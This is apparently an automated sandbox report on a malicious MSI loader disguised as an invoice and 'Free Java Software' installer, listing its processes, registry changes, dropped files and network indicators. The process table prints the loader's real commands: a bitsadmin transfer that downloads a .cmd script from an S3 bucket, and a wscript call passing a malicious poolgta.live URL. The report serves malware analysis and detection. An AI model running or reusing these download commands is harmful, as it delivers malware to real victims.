| download: | NFe-332595261652LBLX201MNSZSN28161.msi |
| Full analysis: | https://app.any.run/tasks/6f2c9902-88d8-4da3-a654-8c3b928ec112 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | August 13, 2019, 15:39:41 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-msi |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, MSI Installer, Title: Installation Database, Keywords: Installer, MSI, Database, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Dec 11 11:47:44 2009, Number of Pages: 200, Security: 0, Code page: 1252, Revision Number: {56A89770-E8FA-49A3-823D-A532438B4E6F}, Number of Words: 10, Subject: Install, Author: Free Java Software, Last Saved By: Chrome, Name of Creating Application: Advanced Installer 12.2.1 build 64247, Template: ;1033 |
| MD5: | C96A76F3A8B0600535C4B9A99FE49F1D |
| SHA1: | 19B55A192F8E8BE23072B585DA79BF34F9ACA560 |
| SHA256: | F6B387087D3FFB2901A310572334EC0039BAFF9CFCD4D85AAE15743A54FEA113 |
| SSDEEP: | 3072:flQRC9pM3DGY5ADwgz88ereWn/7w05g0+McB3RUN46ILJ9+ZB5yOan8R:flQSM3DGY5AC8er1nzTTrXR |
MALICIOUS
Uses BITADMIN.EXE for downloading application
- cmd.exe (PID: 2732)
Runs PING.EXE for delay simulation
- cmd.exe (PID: 3628)
Changes settings of System certificates
- wscript.exe (PID: 2700)
SUSPICIOUS
Executable content was dropped or overwritten
- msiexec.exe (PID: 2860)
Starts CMD.EXE for commands execution
- MsiExec.exe (PID: 2444)
Creates files in the program directory
- cmd.exe (PID: 3628)
Executes scripts
- cmd.exe (PID: 3628)
Adds / modifies Windows certificates
- wscript.exe (PID: 2700)
Creates files in the user directory
- wscript.exe (PID: 2700)
- notepad++.exe (PID: 3072)
INFO
Application launched itself
- msiexec.exe (PID: 2860)
Manual execution by user
- explorer.exe (PID: 640)
- WScript.exe (PID: 3592)
- iexplore.exe (PID: 2196)
- notepad++.exe (PID: 3072)
Changes internet zones settings
- iexplore.exe (PID: 2196)
Reads Internet Cache Settings
- iexplore.exe (PID: 3648)
Reads internet explorer settings
- iexplore.exe (PID: 3648)
Creates files in the user directory
- iexplore.exe (PID: 3648)
Reads settings of System Certificates
- iexplore.exe (PID: 2196)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .msi | | | Microsoft Windows Installer (88.6) |
|---|---|---|
| .mst | | | Windows SDK Setup Transform Script (10) |
| .msi | | | Microsoft Installer (100) |
EXIF
FlashPix
| Title: | Installation Database |
|---|---|
| Keywords: | Installer, MSI, Database |
| Comments: | - |
| LastPrinted: | 2009:12:11 11:47:44 |
| CreateDate: | 2009:12:11 11:47:44 |
| ModifyDate: | 2009:12:11 11:47:44 |
| Pages: | 200 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| RevisionNumber: | {56A89770-E8FA-49A3-823D-A532438B4E6F} |
| Words: | 10 |
| Subject: | Install |
| Author: | Free Java Software |
| LastModifiedBy: | Chrome |
| Software: | Advanced Installer 12.2.1 build 64247 |
| Template: | ;1033 |
Total processes
52
Monitored processes
14
Malicious processes
2
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 640 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2196 | "C:\Program Files\Internet Explorer\iexplore.exe" | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2444 | C:\Windows\system32\MsiExec.exe -Embedding 9F24321B53590E57DD54CFB79CB6962E | C:\Windows\system32\MsiExec.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2552 | ping 127.0.0.1 -n 1 | C:\Windows\system32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2700 | wscript //Nologo "C:\ProgramData\windows\YYYqF\admin.vbs" AS111 https://poolgta.live/bibacham/aHR0cHM6Ly9kb2NzeDAxLnMzLXNhLWVhc3QtMS5hbWF6b25hd3MuY29tL2p1cGl0bG8xOHQucG5nJm5vLXBvd2Vy | C:\Windows\system32\wscript.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2732 | "C:\Windows\System32\cmd.exe" /C bitsadmin.exe /transfer "TGCTOQCBJUEFC" https://pumslins.s3.amazonaws.com/1308104651.cmd C:\Users\admin\COLVAGHKYQEEL.cmd | C:\Windows\System32\cmd.exe | — | MsiExec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2860 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2900 | "C:\Windows\System32\msiexec.exe" /i "C:\Users\admin\Desktop\NFe-332595261652LBLX201MNSZSN28161.msi" | C:\Windows\System32\msiexec.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3072 | "C:\Program Files\Notepad++\notepad++.exe" "C:\ProgramData\windows\YYYqF\admin.vbs" | C:\Program Files\Notepad++\notepad++.exe | explorer.exe | ||||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: Notepad++ : a free (GNU) source code editor Exit code: 0 Version: 7.51 Modules
| |||||||||||||||
| 3240 | "C:\Program Files\Notepad++\updater\gup.exe" -v7.51 | C:\Program Files\Notepad++\updater\gup.exe | notepad++.exe | ||||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: GUP : a free (LGPL) Generic Updater Exit code: 0 Version: 4.1 Modules
| |||||||||||||||
Total events
1 305
Read events
1 135
Write events
157
Delete events
13
Modification events
| (PID) Process: | (2860) msiexec.exe | Key: | HKEY_USERS\S-1-5-21-1302019708-1500728564-335382590-1000\Software\Microsoft\RestartManager\Session0000 |
| Operation: | write | Name: | Owner |
Value: 2C0B00007624AB5DED51D501 | |||
| (PID) Process: | (2860) msiexec.exe | Key: | HKEY_USERS\S-1-5-21-1302019708-1500728564-335382590-1000\Software\Microsoft\RestartManager\Session0000 |
| Operation: | write | Name: | SessionHash |
Value: 7AF5889A2125193282172A7D0973453CF5F9D65D5523BD365195894831F5090F | |||
| (PID) Process: | (2860) msiexec.exe | Key: | HKEY_USERS\S-1-5-21-1302019708-1500728564-335382590-1000\Software\Microsoft\RestartManager\Session0000 |
| Operation: | write | Name: | Sequence |
Value: 1 | |||
| (PID) Process: | (2860) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\InProgress |
| Operation: | write | Name: | |
Value: C:\Windows\Installer\36cbd7.ipi | |||
| (PID) Process: | (2444) MsiExec.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2444) MsiExec.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2860) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders |
| Operation: | write | Name: | C:\Config.Msi\ |
Value: | |||
| (PID) Process: | (2860) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Rollback\Scripts |
| Operation: | write | Name: | C:\Config.Msi\36cbd8.rbs |
Value: 30757365 | |||
| (PID) Process: | (2860) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Rollback\Scripts |
| Operation: | write | Name: | C:\Config.Msi\36cbd8.rbsLow |
Value: 3393624960 | |||
| (PID) Process: | (2860) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1302019708-1500728564-335382590-1000\Components\EFD0BABCE7CB00541A340C063ECF405A |
| Operation: | write | Name: | B26350FB94271DE48A67BA85EA6F23D5 |
Value: C:\Users\admin\AppData\Roaming\Free Java Software\Install\Progamadata\ | |||
Executable files
2
Suspicious files
4
Text files
80
Unknown types
10
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2860 | msiexec.exe | C:\Windows\Installer\MSICE37.tmp | — | |
MD5:— | SHA256:— | |||
| 2860 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFB33DAE4C32BD7006.TMP | — | |
MD5:— | SHA256:— | |||
| 2860 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFAB3C1918184DB4C5.TMP | — | |
MD5:— | SHA256:— | |||
| 2196 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 2196 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 2860 | msiexec.exe | C:\Windows\Installer\36cbd5.msi | executable | |
MD5:— | SHA256:— | |||
| 2860 | msiexec.exe | C:\Windows\Installer\MSICEF3.tmp | binary | |
MD5:— | SHA256:— | |||
| 3628 | cmd.exe | C:\ProgramData\windows\YYYqF\admin.vbs | text | |
MD5:— | SHA256:— | |||
| 2860 | msiexec.exe | C:\Config.Msi\36cbd8.rbs | binary | |
MD5:— | SHA256:— | |||
| 2860 | msiexec.exe | C:\Windows\Installer\36cbd7.ipi | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
32
DNS requests
19
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 72.247.178.16:80 | http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D | NL | der | 1.37 Kb | whitelisted |
2196 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2196 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
3648 | iexplore.exe | 186.192.81.31:443 | g1.globo.com | Globo Comunicação e Participaçoes SA | BR | unknown |
3648 | iexplore.exe | 186.192.81.62:443 | tags.globo.com | Globo Comunicação e Participaçoes SA | BR | unknown |
3648 | iexplore.exe | 172.217.16.130:443 | www.googletagservices.com | Google Inc. | US | whitelisted |
3648 | iexplore.exe | 186.192.91.5:443 | s.glbimg.com | Globo Comunicação e Participaçoes SA | BR | unknown |
3648 | iexplore.exe | 186.192.90.3:443 | s3.glbimg.com | Globo Comunicação e Participaçoes SA | BR | unknown |
3648 | iexplore.exe | 186.192.91.9:443 | s2.glbimg.com | Globo Comunicação e Participaçoes SA | BR | unknown |
— | — | 52.216.165.83:443 | pumslins.s3.amazonaws.com | Amazon.com, Inc. | US | unknown |
2700 | wscript.exe | 34.239.126.71:443 | poolgta.live | Amazon.com, Inc. | US | unknown |
3240 | gup.exe | 37.59.28.236:443 | notepad-plus-plus.org | OVH SAS | FR | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
pumslins.s3.amazonaws.com |
| shared |
poolgta.live |
| unknown |
edzz.la |
| unknown |
notepad-plus-plus.org |
| whitelisted |
isrg.trustid.ocsp.identrust.com |
| whitelisted |
www.bing.com |
| whitelisted |
gl.globo.com |
| unknown |
g1.globo.com |
| unknown |
s3.glbimg.com |
| unknown |
www.googletagservices.com |
| whitelisted |
Threats
Process | Message |
|---|---|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabl |
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | 42C4C5846BB675C74E2B2C90C69AB44366401093
|